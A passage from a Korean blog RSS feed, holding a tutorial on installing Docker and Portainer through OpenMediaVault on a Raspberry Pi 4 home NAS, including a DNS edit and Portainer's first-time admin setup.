&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>transmission</category>
      <category>나스</category>
      <category>다운로드 안됨</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/147</guid>
      <comments>https://chmodi.tistory.com/147#entry147comment</comments>
      <pubDate>Tue, 20 Jul 2021 23:41:35 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치</title>
      <link>https://chmodi.tistory.com/146</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미디어 서버로 활용하기 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지 설치 단계입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, Docker와 Portainer를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;Docker?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;u&gt;&lt;b&gt;Docker:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;도커는 리눅스의 응용 프로그램들을 프로세스 격리 기술들을 사용해&lt;br /&gt;컨테이너로 실행하고 관리하는 오픈 소스 프로젝트이다.&lt;br /&gt;도커 웹 페이지의 기능을 인용하면 다음과 같다:&lt;br /&gt;도커 컨테이너는 &lt;u&gt;&lt;b&gt;일종의 소프트웨어를&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;소프트웨어의 실행에 필요한 모든 것을 포함하는&lt;br /&gt;&lt;u&gt;&lt;b&gt;완전한 파일 시스템 안에 &lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;감싼다.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;(위키백과)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말하자면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;리눅스 운영체제 안에&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;가상으로&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;리눅스 운영체제 환경을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;여러개 생성&lt;/b&gt;&lt;/u&gt;하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;여러 프로그램(서비스)들을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;별도로 관리&lt;/b&gt;&lt;/u&gt;하게 해주는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Portainer?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;u&gt;&lt;b&gt;Portainer:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;Docker의 컨테이너(Container)들을&lt;br /&gt;웹에서 관리할 수 있게 도와주는&lt;br /&gt;패키지 입니다.&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;DNS 설정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커와 포테이너를 설치하려면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존과 다른 방법으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS를 설정해줘야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;root로 ssh를 통해&lt;br /&gt;라즈베리파이에 접속한 후,&lt;br /&gt;아래 파일의 내용을&lt;br /&gt;수정합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# vi /etc/resolv.conf&lt;br /&gt;nameserver 8.8.8.8&lt;br /&gt;search 8.8.4.4&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;294&quot; data-filename=&quot;이미지 8.png&quot; width=&quot;500&quot; height=&quot;213&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLkOzO/btq93okINjC/aU91bhu1mf5ku7keCgHBzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLkOzO/btq93okINjC/aU91bhu1mf5ku7keCgHBzK/img.png&quot; data-alt=&quot;Docker, Portainer 설치용 DNS 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLkOzO/btq93okINjC/aU91bhu1mf5ku7keCgHBzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLkOzO%2Fbtq93okINjC%2FaU91bhu1mf5ku7keCgHBzK%2Fimg.png&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;294&quot; data-filename=&quot;이미지 8.png&quot; width=&quot;500&quot; height=&quot;213&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Docker, Portainer 설치용 DNS 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Docker 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;OMV 웹 페이지에서&lt;br /&gt;설치합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;시스템 &amp;gt; OMV-Extras &amp;gt; Docker &amp;gt; Docker &amp;gt; 설치 &amp;gt; 저장&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;s&gt;- 저장 깜빡하기 쉽습니다..&lt;/s&gt;&lt;b&gt;&lt;/b&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;만약, &lt;u&gt;&lt;b&gt;OMV-Extras가 없다면,&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;apt-get으로 설치&lt;/b&gt;&lt;/u&gt;하면 됩니다.&lt;br /&gt;&lt;br /&gt;저는 64GB MicroSD Card에&lt;br /&gt;라즈베리파이를 설치했기 때문에&lt;br /&gt;그냥 설치하지만,&lt;br /&gt;&lt;u&gt;&lt;b&gt;다른 곳에 설치하고 싶으시면&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Docker Stroage의 내용을&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;마운트한 외장하드로&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;변경&lt;/b&gt;&lt;/u&gt;하면 됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;462&quot; data-filename=&quot;이미지 9.png&quot; width=&quot;500&quot; height=&quot;414&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/odrUb/btq97msVxAN/QqMxjGBCK1keNvnBsrFci0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/odrUb/btq97msVxAN/QqMxjGBCK1keNvnBsrFci0/img.png&quot; data-alt=&quot;Docker 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/odrUb/btq97msVxAN/QqMxjGBCK1keNvnBsrFci0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FodrUb%2Fbtq97msVxAN%2FQqMxjGBCK1keNvnBsrFci0%2Fimg.png&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;462&quot; data-filename=&quot;이미지 9.png&quot; width=&quot;500&quot; height=&quot;414&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Docker 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Portainer 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Portainer 또한 같은 방법으로 설치합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;시스템 &amp;gt; OMV-Extras &amp;gt; Docker &amp;gt; Portainer &amp;gt; 설치 &amp;gt; 저장&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;s&gt;- 저장 깜빡하기 쉽습니다..&lt;/s&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;468&quot; data-filename=&quot;이미지 10.png&quot; width=&quot;500&quot; height=&quot;336&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Z7Tu5/btq97PaxJTB/MpW5WrP8FBqTimR6eFpeBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Z7Tu5/btq97PaxJTB/MpW5WrP8FBqTimR6eFpeBK/img.png&quot; data-alt=&quot;Portainer 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z7Tu5/btq97PaxJTB/MpW5WrP8FBqTimR6eFpeBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZ7Tu5%2Fbtq97PaxJTB%2FMpW5WrP8FBqTimR6eFpeBK%2Fimg.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;468&quot; data-filename=&quot;이미지 10.png&quot; width=&quot;500&quot; height=&quot;336&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Portainer 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Portainer 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Portainer의 기본 설정을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;할 차례입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Portainer 까지 설치가 끝나면,&lt;br /&gt;Portianer 옆에&lt;br /&gt;Open Portainer 가 생깁니다.&lt;br /&gt;&lt;br /&gt;Open Portainer를 클릭하여&lt;br /&gt;접속할 수 있습니다.&lt;br /&gt;(http://[라즈베리파이 주소]:9000/)&lt;br /&gt;&lt;br /&gt;접속한 후&lt;br /&gt;관리자 계정을&lt;br /&gt;설정합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;608&quot; data-filename=&quot;이미지 11.png&quot; width=&quot;500&quot; height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxuaUs/btq98uD1HRH/j3EaHlQFmbxeRRh59jWwR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxuaUs/btq98uD1HRH/j3EaHlQFmbxeRRh59jWwR1/img.png&quot; data-alt=&quot;관리자 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxuaUs/btq98uD1HRH/j3EaHlQFmbxeRRh59jWwR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxuaUs%2Fbtq98uD1HRH%2Fj3EaHlQFmbxeRRh59jWwR1%2Fimg.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;608&quot; data-filename=&quot;이미지 11.png&quot; width=&quot;500&quot; height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;관리자 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;다음 화면에서는&lt;br /&gt;연결할 Docker를&lt;br /&gt;선택하라고 하는 데,&lt;br /&gt;&lt;br /&gt;우리는 라즈베리파이의&lt;br /&gt;Docker에 연결하기 때문에&lt;br /&gt;왼쪽, 첫 번째를 선택하시면&lt;br /&gt;됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;763&quot; data-filename=&quot;이미지 13.png&quot; width=&quot;500&quot; height=&quot;545&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbtRwn/btq94rIi8tP/OwAn5vbsTnXsmrmDWIq0q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbtRwn/btq94rIi8tP/OwAn5vbsTnXsmrmDWIq0q1/img.png&quot; data-alt=&quot;Docker 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbtRwn/btq94rIi8tP/OwAn5vbsTnXsmrmDWIq0q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbtRwn%2Fbtq94rIi8tP%2FOwAn5vbsTnXsmrmDWIq0q1%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;763&quot; data-filename=&quot;이미지 13.png&quot; width=&quot;500&quot; height=&quot;545&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Docker 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker와 Portainer의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝났습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 글에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토렌트 프로그램과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유 폴더에 대해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
